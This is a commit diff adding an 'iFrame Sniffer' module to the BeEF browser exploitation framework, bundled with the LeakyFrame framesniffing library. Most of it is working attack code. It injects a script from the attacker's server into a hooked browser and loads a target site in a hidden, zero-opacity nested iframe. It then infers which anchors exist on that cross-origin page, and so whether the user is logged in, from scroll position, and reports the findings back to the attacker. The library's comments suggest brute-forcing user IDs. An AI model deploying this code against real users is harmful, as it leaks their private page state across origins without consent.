Closes #644 but needs to be tested on other browsers
This commit is contained in:
80
modules/misc/iframe_sniffer/command.js
Normal file
80
modules/misc/iframe_sniffer/command.js
Normal file
@@ -0,0 +1,80 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
var inputURL = '<%= @inputUrl %>';
|
||||
var anchorsToCheck = '<%= @anchorsToCheck %>';
|
||||
var arrayOfAnchorsToCheck = [];
|
||||
|
||||
//the anchors should be seperated with ','
|
||||
//remove tabs, newlines, carriage returns and spaces
|
||||
anchorsToCheck = anchorsToCheck.replace(/[ \t\r\n]/g,'');
|
||||
arrayOfAnchorsToCheck = anchorsToCheck.split(',');
|
||||
|
||||
var resultList = [];
|
||||
var resultString = '';
|
||||
|
||||
//check if the leakyframe library is loaded
|
||||
//if not add it to the DOM
|
||||
if (typeof LeakyFrame !== 'function'){
|
||||
var leakyscript = document.createElement('script');
|
||||
|
||||
leakyscript.setAttribute('type', 'text/javascript');
|
||||
leakyscript.setAttribute('src', 'http://'+beef.net.host+':'+beef.net.port+'/leakyframe.js');
|
||||
var theparent = document.getElementsByTagName('head')[0];
|
||||
theparent.insertBefore(leakyscript, theparent.firstChild);
|
||||
}
|
||||
|
||||
var timeout = 100;
|
||||
|
||||
//give the DOM some time to load the library
|
||||
poll = function(){
|
||||
setTimeout(function(){
|
||||
timeout--;
|
||||
if (typeof LeakyFrame === 'function') {
|
||||
new LeakyFrame(inputURL,
|
||||
function(frame){
|
||||
//check each anchor
|
||||
for (var anchor = 0; anchor < arrayOfAnchorsToCheck.length; anchor++){
|
||||
if (frame.checkID(arrayOfAnchorsToCheck[anchor])){
|
||||
resultList.push('Exists');
|
||||
}
|
||||
else{
|
||||
resultList.push('Does not exist');
|
||||
}
|
||||
}
|
||||
frame.remove();
|
||||
|
||||
//create the resultstring
|
||||
for (var i = 0; i < resultList.length; i++){
|
||||
resultString = resultString + '#' + arrayOfAnchorsToCheck[i] + ' ' + resultList[i] + '; ';
|
||||
}
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result: ' + resultString);
|
||||
},false);
|
||||
}
|
||||
else if (timeout > 0){
|
||||
poll();
|
||||
}
|
||||
else {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'time-out occured!');
|
||||
}
|
||||
}, 100);
|
||||
};
|
||||
|
||||
poll();
|
||||
});
|
||||
|
||||
25
modules/misc/iframe_sniffer/config.yaml
Normal file
25
modules/misc/iframe_sniffer/config.yaml
Normal file
@@ -0,0 +1,25 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
iframe_sniffer:
|
||||
enable: true
|
||||
category: "Misc"
|
||||
name: "iFrame Sniffer"
|
||||
description: "This module attempts to do framesniffing (aka Leaky Frame). It will append leakyframe.js (written by Paul Stone) to the DOM and check for specified anchors to be present on a url.<br />For more information, refer to <a href='http://www.contextis.co.uk/research/blog/framesniffing/'>http://www.contextis.co.uk/research/blog/framesniffing/</a>"
|
||||
authors: ["Bart Leppens"]
|
||||
target:
|
||||
working: "S"
|
||||
381
modules/misc/iframe_sniffer/leakyframe.js
Normal file
381
modules/misc/iframe_sniffer/leakyframe.js
Normal file
@@ -0,0 +1,381 @@
|
||||
/**
|
||||
* LeakyFrame JS Library
|
||||
*
|
||||
* Copyright (c) 2012 Paul Stone
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy of this
|
||||
* software and associated documentation files (the "Software"), to deal in the Software
|
||||
* without restriction, including without limitation the rights to use, copy, modify,
|
||||
* merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
|
||||
* permit persons to whom the Software is furnished to do so, subject to the following
|
||||
* conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all copies
|
||||
* or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
|
||||
* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
|
||||
* PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
|
||||
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
||||
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
|
||||
This JS library can be used to easily try out the Framesniffing (aka Frame Leak, aka Anchor Element Position Detection) technique.
|
||||
Currently (as of Mar 2012) the technique works in IE8, IE9 and most
|
||||
webkit-based browsers.
|
||||
|
||||
Example usage:
|
||||
|
||||
new LeakyFrame('http://example.com', function(frame) {
|
||||
if (frame.checkID('login-form')) {
|
||||
alert("You're not logged in");
|
||||
frame.remove();
|
||||
return;
|
||||
}
|
||||
|
||||
var anchors = {'foo', 'bar', 'baz'};
|
||||
var frags = frame.findFrags(anchors);
|
||||
alert('Found the following anchors on the page: ' + frags.join(', '));
|
||||
}
|
||||
|
||||
|
||||
Redirects
|
||||
---------
|
||||
Make sure that the URL you're loading doesn't redirect to a different URL,
|
||||
as this can break anchor checking in some browsers and will slow down
|
||||
checks for multiple anchors (e.g. brute-forcing).
|
||||
|
||||
E.g. You create LeakyFrame with http://foo.com/somepage and it redirects
|
||||
to http://foo.com/somepage?98723945
|
||||
|
||||
The reason for this is that the JS code can't know the URL that the frame
|
||||
has redirected to (due to same-origin policy). When changing the #fragment
|
||||
at the end of the URL to check for an anchor, the entire URL must be
|
||||
reset using window.location. So if a redirect has occurred, the original
|
||||
URL will be loaded in the iframe, causing a full page load and another
|
||||
redirect to occur.
|
||||
|
||||
Some browsers will preserve URL fragments across page redirects (Chrome
|
||||
does, and I think IE10 does now too). For those browsers you can create
|
||||
a LeakyFrame and pass in a URL with an fragment already on the end, then
|
||||
call frame.nonZero() to see if a scroll has occurred. The findManyMatchingURLs
|
||||
and findFirstMatchingURL methods should also work with redirects.
|
||||
|
||||
*/
|
||||
|
||||
/**
|
||||
* Creates a new LeakyFrame object
|
||||
*
|
||||
* This constructor creates a nested iframes and loads 'url' into the inner one
|
||||
* The outer frame is 10x10, and the inner frame 1000x10,000px to force the outer
|
||||
* frame to scroll when checking for anchors.
|
||||
*
|
||||
* @param url - URL to load into the iframe.
|
||||
* @param callback - A function that will be called when the frame has loaded. The
|
||||
* the callback function will be passed the newly created LeakyFrame object
|
||||
* @param debug - If true, the created frames will be made visible and outer
|
||||
* frame will be made larger (140x140)
|
||||
*/
|
||||
function LeakyFrame(url, callback, debug) {
|
||||
var outer = document.createElement('iframe');
|
||||
outer.setAttribute('frameBorder', '0');
|
||||
outer.setAttribute('scrolling', 'no')
|
||||
document.body.appendChild(outer);
|
||||
|
||||
outer.contentWindow.document.open();
|
||||
outer.contentWindow.document.close();
|
||||
|
||||
var inner = outer.contentWindow.document.createElement('iframe');
|
||||
inner.setAttribute('frameBorder', '0');
|
||||
|
||||
outer.contentWindow.document.body.style.margin = 0;
|
||||
outer.contentWindow.document.body.style.padding = 0;
|
||||
inner.setAttribute('style', 'margin:0; border:none;overflow:hidden;position:absolute; left:0px;top:0px;width:1000px;height:10000px;background-color:white;');
|
||||
|
||||
if (!debug)
|
||||
outer.setAttribute('style', 'border:none;opacity:0');
|
||||
|
||||
outer.contentWindow.document.body.appendChild(inner);
|
||||
|
||||
outer.width = 10;
|
||||
outer.height = 10;
|
||||
if (debug) {
|
||||
outer.width=140;
|
||||
outer.height=140;
|
||||
}
|
||||
this.outer = outer; // outer iframe element
|
||||
this.inner = inner; // inner iframe element
|
||||
this.innerWin = inner.contentWindow; // window object of outer iframe
|
||||
this.outerWin = outer.contentWindow; // window object of inner iframe
|
||||
this.outerDoc = outer.contentWindow.document; // document of outer iframe
|
||||
this.removed = false;
|
||||
if (callback)
|
||||
this.load(url, callback);
|
||||
}
|
||||
|
||||
/**
|
||||
* Load a new URL into the inner iframe and do a callback when it's loaded
|
||||
*/
|
||||
LeakyFrame.prototype.load = function(url, callback) {
|
||||
this.inner.contentWindow.location = url;
|
||||
var me = this;
|
||||
var f = {};
|
||||
f.fn = function() {
|
||||
if (me.inner.removeEventListener)
|
||||
me.inner.removeEventListener('load', f.fn);
|
||||
else if (me.inner.detachEvent)
|
||||
me.inner.detachEvent('onload', f.fn);
|
||||
|
||||
me.currentURL = me._stripFragment(url);
|
||||
if (callback)
|
||||
callback(me);
|
||||
}
|
||||
if (this.inner.addEventListener)
|
||||
this.inner.addEventListener('load', f.fn, false);
|
||||
else if (this.inner.attachEvent)
|
||||
this.inner.attachEvent('onload', f.fn);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Find the current scroll position of the outer iframe
|
||||
* (should correspond to the position of the current anchor
|
||||
* in the inner iframe)
|
||||
* @return object with .x and .y properties
|
||||
*/
|
||||
LeakyFrame.prototype.getPos = function() {
|
||||
var x = this.outerDoc.body.scrollLeft;
|
||||
var y = this.outerDoc.body.scrollTop;
|
||||
return {x:x, y:y};
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Reset the scroll position of the iframe
|
||||
*/
|
||||
LeakyFrame.prototype.resetPos = function() {
|
||||
this.outerWin.scrollTo(0,0);
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks if the iframe has scrolled after being reset
|
||||
*/
|
||||
LeakyFrame.prototype.nonZero = function() {
|
||||
var pos = this.getPos();
|
||||
return (pos.x > 0 || pos.y > 0);
|
||||
};
|
||||
|
||||
/**
|
||||
* Check if anchor 'id' exists on the currently loaded page
|
||||
* This works by first resetting the scroll position, adding
|
||||
* #id onto the end of the current URL and then seeing if
|
||||
* the scroll position has changed.
|
||||
*
|
||||
* Optional parameters x and y specify the initial scroll
|
||||
* position and default to 0. Useful in some cases where
|
||||
* weird scrolling behaviour causes the page to scroll to
|
||||
* (0,0) if an anchor is found.
|
||||
*
|
||||
* @return boolean - true if the anchor exists
|
||||
*/
|
||||
LeakyFrame.prototype.checkID = function(id, x, y) {
|
||||
if (!x) x = 0;
|
||||
if (!y) y = 0;
|
||||
this.outerWin.scrollTo(x,y);
|
||||
this.innerWin.location = this.currentURL + '#' + id;
|
||||
var result = this.getPos();
|
||||
return (result.x != x || result.y != y);
|
||||
}
|
||||
|
||||
/**
|
||||
* Given an array of ids, will check the current page to see which
|
||||
* corresponding anchors exist. It will return a dictionary of
|
||||
* positions for each matched anchor.
|
||||
*
|
||||
* This can be incredibly quick in some browsers (checking 10s or
|
||||
* 100s of IDs per second), so could be used for things like
|
||||
* brute-forcing things like numeric user IDs or lists of product
|
||||
* codes.
|
||||
*
|
||||
* @param ids - an array of IDs to be checked
|
||||
* @param templ - optional template which is used to make the URL
|
||||
* fragment. If the template is 'prod{id}foo' and you pass in the
|
||||
* array [5,6,7], then it will check for anchors:
|
||||
* prod5foo, prod6foo and prod7foo
|
||||
* @return a dictionary containing matched IDs as keys and an
|
||||
* array [x,y] as values
|
||||
*/
|
||||
LeakyFrame.prototype.findFragPositions = function(ids, templ) {
|
||||
this.outerWin.scrollTo(0,0);
|
||||
if (templ) {
|
||||
var newids = [];
|
||||
for (var i = 0; i < ids.length; i++)
|
||||
newids.push(templ.replace('{id}', ids[i]));
|
||||
} else {
|
||||
newids = ids;
|
||||
}
|
||||
var positions = {};
|
||||
for (var i = 0; i < ids.length; i++) {
|
||||
var id = newids[i];
|
||||
//this.outerWin.scrollTo(0,0);
|
||||
this.innerWin.location = this.currentURL + '#' + id;
|
||||
var x = this.outerDoc.body.scrollLeft;
|
||||
var y = this.outerDoc.body.scrollTop;
|
||||
|
||||
if (x || y) {
|
||||
positions[ids[i]] = [x, y];
|
||||
this.outerWin.scrollTo(0,0);
|
||||
}
|
||||
}
|
||||
return positions;
|
||||
}
|
||||
|
||||
/**
|
||||
* Same as findFragPositions but discards the positions
|
||||
* and returns only an array of matched IDs.
|
||||
*/
|
||||
LeakyFrame.prototype.findFrags = function(ids, templ) {
|
||||
var found = this.findFragPositions(ids, templ);
|
||||
var ids = [];
|
||||
for (var id in found)
|
||||
ids.push(id);
|
||||
return ids;
|
||||
}
|
||||
|
||||
LeakyFrame.prototype._stripFragment = function(url) {
|
||||
var pos = url.indexOf('#');
|
||||
if (pos < 0) return url;
|
||||
this.loadFrag = url.substr(pos+1);
|
||||
return url.substr(0, pos)
|
||||
}
|
||||
|
||||
/**
|
||||
* Removes the iframe from the document.
|
||||
* If you're creating lots of LeakyFrame instances
|
||||
* you should call this once you're done with each
|
||||
* frame to free up memory.
|
||||
*/
|
||||
LeakyFrame.prototype.remove = function() {
|
||||
if (this.removed) return;
|
||||
this.outer.parentNode.removeChild(this.outer);
|
||||
this.removed = true;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Load a bunch of URLs to find which ones have a matching fragment
|
||||
* (i.e. cause the page to scroll). (static method)
|
||||
*
|
||||
* @param url - a base URL to check with {id} where id will go
|
||||
* (e.g http://www.foo.com/userprofile/{id}#me)
|
||||
* @param ids - dictionary of key:value pairs. the keys will be
|
||||
* used to replace {id} in each url
|
||||
* @param callback - a function that gets called when an id is found.
|
||||
* It gets passed the matching key and value
|
||||
* @param finishedcb - a function that gets called when all the urls
|
||||
* have been checked. It gets passed true if any URLs were matched
|
||||
*/
|
||||
LeakyFrame.findManyMatchingURLs = function(url, ids, callback, finishedcb, stopOnFirst) {
|
||||
var maxConcurrent = 3;
|
||||
var inProgress = 0;
|
||||
var todo = [];
|
||||
var interval;
|
||||
var loadCount = 0;
|
||||
var allFound = {};
|
||||
var allPositions = {};
|
||||
var framePool = {};
|
||||
var found = 0;
|
||||
var cancelled = false;
|
||||
for (var key in ids) {
|
||||
todo.push(key);
|
||||
loadCount++;
|
||||
}
|
||||
|
||||
var cancel = function() {
|
||||
cancelled = true;
|
||||
for (var i in framePool)
|
||||
framePool[i].remove();
|
||||
if (interval)
|
||||
window.clearInterval(interval);
|
||||
}
|
||||
|
||||
var cb = function(f, foundFrag) {
|
||||
inProgress--;
|
||||
loadCount--;
|
||||
|
||||
if (f.nonZero()) {
|
||||
found++;
|
||||
var foundVal = ids[foundFrag];
|
||||
var foundPos = f.getPos();
|
||||
allFound[foundFrag] = foundVal;
|
||||
allPositions[foundFrag] = foundPos;
|
||||
|
||||
if (!cancelled)
|
||||
callback(foundFrag, foundVal, foundPos, allFound, allPositions);
|
||||
if (stopOnFirst)
|
||||
cancel();
|
||||
}
|
||||
if ((loadCount == 0 && !stopOnFirst) || // 'finished' call for findMany
|
||||
(loadCount == 0 && stopOnFirst && found == 0)) // 'fail' callback for stopOnFirst (only if none were found)
|
||||
finishedcb(found > 0, allFound, allPositions);
|
||||
f.remove();
|
||||
delete framePool[foundFrag];
|
||||
}
|
||||
|
||||
var loadMore = function() {
|
||||
if (todo.length == 0) {
|
||||
// no more ids to do
|
||||
window.clearInterval(interval);
|
||||
interval = null;
|
||||
}
|
||||
if (inProgress >= maxConcurrent) {
|
||||
// queue full, waiting
|
||||
return;
|
||||
}
|
||||
var loops = Math.min(maxConcurrent - inProgress, todo.length);
|
||||
for (var i=0; i < loops; i++) {
|
||||
inProgress++;
|
||||
var nextID = todo.shift();
|
||||
var thisurl = url.replace('{id}', nextID);
|
||||
|
||||
framePool[nextID] = new LeakyFrame(thisurl, function(n){
|
||||
return function(f){ setTimeout(function() {cb(f,n)}, 50) } // timeout delay required for reliable results on chrome
|
||||
}(nextID)
|
||||
);
|
||||
}
|
||||
}
|
||||
interval = window.setInterval(loadMore, 500);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Same as findManyMatchingURLs but stops after the first match is found
|
||||
*
|
||||
* @param url - a base URL to check with {id} where id will go
|
||||
* (e.g http://www.foo.com/userprofile/{id}#me)
|
||||
* @param ids - dictionary of key:value pairs. the keys will be used to
|
||||
* replace {id} in each url
|
||||
* @param successcb - a function that gets called when an id is found.
|
||||
* It gets passed the matching key and value
|
||||
* @param failcb - a function that gets called if no ids are found
|
||||
* @param finalcb - a function that gets called after either sucess or failure
|
||||
*/
|
||||
LeakyFrame.findFirstMatchingURL = function(url, ids, successcb, failcb, finalcb) {
|
||||
var s = function(k, v) {
|
||||
successcb(k, v);
|
||||
if (finalcb)
|
||||
finalcb();
|
||||
}
|
||||
var f = function() {
|
||||
if (failcb)
|
||||
failcb();
|
||||
if (finalcb)
|
||||
finalcb();
|
||||
}
|
||||
return LeakyFrame.findManyMatchingURLs(url, ids, s, f, true);
|
||||
}
|
||||
36
modules/misc/iframe_sniffer/module.rb
Normal file
36
modules/misc/iframe_sniffer/module.rb
Normal file
@@ -0,0 +1,36 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Iframe_sniffer < BeEF::Core::Command
|
||||
|
||||
def pre_send
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/iframe_sniffer/leakyframe.js','/leakyframe','js')
|
||||
end
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'inputUrl', 'ui_label'=>'input URL', 'type' => 'textarea', 'value' =>'http://en.wikipedia.org/wiki/Beef', 'width' => '400px', 'height' => '50px'},
|
||||
{'name' => 'anchorsToCheck', 'ui_label' => 'anchors to check', 'value' => 'History,Exploit,Etymology,References,ABCDE', 'type' => 'textarea', 'width' => '400px', 'height' => '100px' }
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['resultList'] = @datastore['resultList']
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('leakyframe.js')
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user